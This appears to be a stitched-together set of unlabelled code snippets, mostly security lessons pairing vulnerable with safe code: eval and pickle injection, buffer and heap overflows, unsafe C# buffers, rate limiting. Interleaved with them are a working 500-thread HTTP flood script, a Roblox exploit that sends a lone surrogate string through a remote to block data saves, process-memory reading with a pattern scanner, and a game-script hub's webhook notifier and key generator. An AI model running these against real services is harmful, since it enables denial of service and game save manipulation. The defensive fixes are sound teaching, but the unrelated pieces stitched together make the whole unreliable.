# eval on user input = RCE
import pickle

def calc(expr):
  # attacker sends:
  # __import__('os').system('cmd')
  return eval(expr)

def load_save(data):
  # malicious pickle = RCE
  return pickle.loads(data)

# use ast.literal_eval instead
import ast, json

def calc(expr):
  ok = set('0123456789+-*/(). ')
  if not set(expr) <= ok:
      raise ValueError("blocked")
  return ast.literal_eval(expr)

def load_save(data):
  # JSON is safe, pickle is NOT
  return json.loads(data)

import requests

def send_log(url, pet, size, mut):
  data = {
    "username": "RayVinzHub",
    "embeds": [{
      "title": "🎉 Target Found!",
      "description": (
        f"Pet: **{pet}**\n"
        f"Size: **{size}**\n"
        f"Mut: **{mut}**"
      ),
      "color": 0x00e87a
    }]
  }
  requests.post(url, json=data)

import secrets, string, hashlib

def gen_key(prefix="RVZ"):
  chars = (string.ascii_uppercase
         + string.digits)
  raw = ''.join(
    secrets.choice(chars)
    for _ in range(20))
  return f"{prefix}-{raw[:5]}-{raw[5:10]}-{raw[10:]}"

def hash_key(key):
  return hashlib.sha256(
    key.encode()).hexdigest()[:16].upper()

# RVZ-A3K9F-2X8QP-NM4RVWTJ

// NO bounds check — DANGEROUS
#include <stdio.h>
#include <string.h>

void login(char *input) {
  char buf[64];
  gets(buf);           // ← OVERFLOW
  strcpy(buf, input);  // ← no limit
  printf("Hello: %s\n", buf);
}
// input > 64 bytes → overwrites:
// [buf 64B][saved RBP][return addr]

// Bounded — SAFE version
#include <stdio.h>
#include <string.h>

void login(char *input) {
  char buf[64];
  fgets(buf, sizeof(buf), stdin);
  strncpy(buf, input, 63);
  buf[63] = '\0';
  printf("Hello: %s\n", buf);
}
// fgets/strncpy respect the limit

char *a = malloc(32);
char *b = malloc(32);
// a and b are adjacent on heap

// overflow a → corrupts b's header
memcpy(a, attacker_data, 64);
// b's malloc header is now corrupt
// free(b) → arbitrary write primitive

// high address (top of stack frame)
┌────────────────────┐
│  return address    │ ← overwrite target
│  saved RBP         │
│  buf[48..63]       │
│  buf[32..47]       │
│  buf[16..31]       │
│  buf[ 0..15]       │ ← write starts here
└────────────────────┘
// low address (input enters here)
// 64B buf + 8B RBP + 8B RET = 80 bytes

// unsafe — no CLR bounds checking!
unsafe {
  char* buf = stackalloc char[64];
  string input = GetInput();

  for (int i=0; i<input.Length; i++)
    buf[i] = input[i]; // no bound check
  // if input.Length > 64 → OVERFLOW
}

// CLR auto-bounds-checks arrays
string input = GetInput();
char[] buf = new char[64];
Array.Copy(
  input.ToCharArray(), buf,
  Math.Min(input.Length, 64));

// Or Span<T> — safe stack slice:
Span<char> s = stackalloc char[64];
input.AsSpan(0, 64).CopyTo(s);

using System.Runtime.InteropServices;

[DllImport("kernel32.dll")]
static extern bool ReadProcessMemory(
  IntPtr hProc, IntPtr addr,
  byte[] buf, int size, out int read);

// read 4 bytes (int) from address
byte[] buf = new byte[4];
ReadProcessMemory(proc.Handle,
  (IntPtr)0xDEADBEEF, buf, 4, out _);
int val = BitConverter.ToInt32(buf, 0);

// 0xFF = wildcard byte
byte[] Scan(byte[] mem, byte[] pat) {
  for (int i=0; i<mem.Length-pat.Length; i++){
    bool found = true;
    for (int j=0; j<pat.Length; j++){
      if (pat[j] != 0xFF
        && mem[i+j] != pat[j]){
        found=false; break;
      }
    }
    if (found)
      return BitConverter.GetBytes(i);
  }
  return null;
}

┌─────────────────────┐ ← high addr
│ return addr 0x8048xx│  untouched ✓
│ saved RBP 0xffff00d0│  untouched ✓
│ buf[48–63] 00000000 │  untouched ✓
│ buf[32–47] 00000000 │  untouched ✓
│ buf[16–31] 41414141 │  ← written
│ buf[ 0–15] 41414141 │  ← write starts
└─────────────────────┘ ← low addr (input)
RESULT: function returns safely ✓

┌─────────────────────┐ ← high addr
│ return addr 0x41414141│ ← HIJACKED!
│ saved RBP  41414141 │ ← overwritten
│ buf[48–63] 41414141 │  ← overflows
│ buf[32–47] 41414141 │  ← overflows
│ buf[16–31] 41414141 │  ← overflows
│ buf[ 0–15] 41414141 │  ← write starts
└─────────────────────┘ ← low addr (input)
RESULT: jumps to attacker shellcode

• Fixed size (~1–8 MB)
• Auto alloc / auto free
• Local variables
• Function call frames
• Fast (just move stack pointer)
• Grows DOWNWARD in memory

void foo() {
  int x = 5;    // stack alloc
  char buf[64]; // stack alloc
}
// freed automatically on return
OVERFLOW → overwrite return addr → RIP control

• Dynamic, large (GBs possible)
• Manual malloc() / free()
• Objects, arrays, long-lived data
• Slower (allocator overhead)
• Managed by ptmalloc / jemalloc
• Grows UPWARD in memory

char *p = malloc(64); // heap alloc
free(p);              // must free manually
p[0] = 'A';           // USE-AFTER-FREE!
OVERFLOW → corrupt chunk headers → arb write

local DS = game:GetService("DataStoreService")
local store = DS:GetDataStore("PlayerData")

game.Players.PlayerRemoving:Connect(
  function(player)
    local data = {
      gems  = player.Gems.Value,
      units = getUnits(player)
    }
    -- JSONEncode runs internally
    store:SetAsync(
      "Player_"..player.UserId, data)
    -- if JSONEncode throws → SetAsync
    -- never runs → NO SAVE → rollback
  end
)

-- lone UTF-16 surrogates = invalid JSON
"\u{d800}"          -- lone high surrogate
"\u{dfff}"          -- lone low surrogate
string.char(0xed, 0xa0, 0x80)
                    -- raw UTF-8 of U+D800

-- inject via any remote that DataStore writes:
SettingsRemote:FireServer(
  "musicEnabled", "\u{d800}")

-- server: JSONEncode("\u{d800}") → ERROR
-- SetAsync never called → NO SAVE
-- on rejoin: last GOOD save loads ✓

# Attacker side — HTTP flood
import threading, requests

TARGET = "http://target.com/api"

def flood():
  while True:
    try:
      requests.get(TARGET, timeout=1)
    except: pass

# launch 500 threads = 500 reqs/sec
for _ in range(500):
  threading.Thread(
    target=flood, daemon=True
  ).start()

# server CPU → 100%, OOM crash

# Server side — rate limit per IP
from flask import Flask, request, abort
from collections import defaultdict
import time

app = Flask(__name__)
hits = defaultdict(list)

def rate_limit(ip, limit=30, window=60):
  now = time.time()
  hits[ip] = [t for t in hits[ip]
              if now-t < window]
  if len(hits[ip]) >= limit:
    abort(429)  # Too Many Requests
  hits[ip].append(now)

@app.route('/api')
def api():
  rate_limit(request.remote_addr)
  return "OK"

-- Each call does heavy computation
remote.OnServerEvent:Connect(
  function(player)
    -- no call rate check!
    local result = heavyCalculation()
    DataStore:SetAsync(key, result)
    -- attacker fires 60x/sec
    -- server CPU spikes → lag kick
  end
)

local lastCall = {}
local COOLDOWN = 1  -- 1 sec min

remote.OnServerEvent:Connect(
  function(player)
    local now = os.clock()
    local uid = player.UserId
    if (now - (lastCall[uid] or 0))
       < COOLDOWN then return end
    lastCall[uid] = now
    -- safe to process
  end
)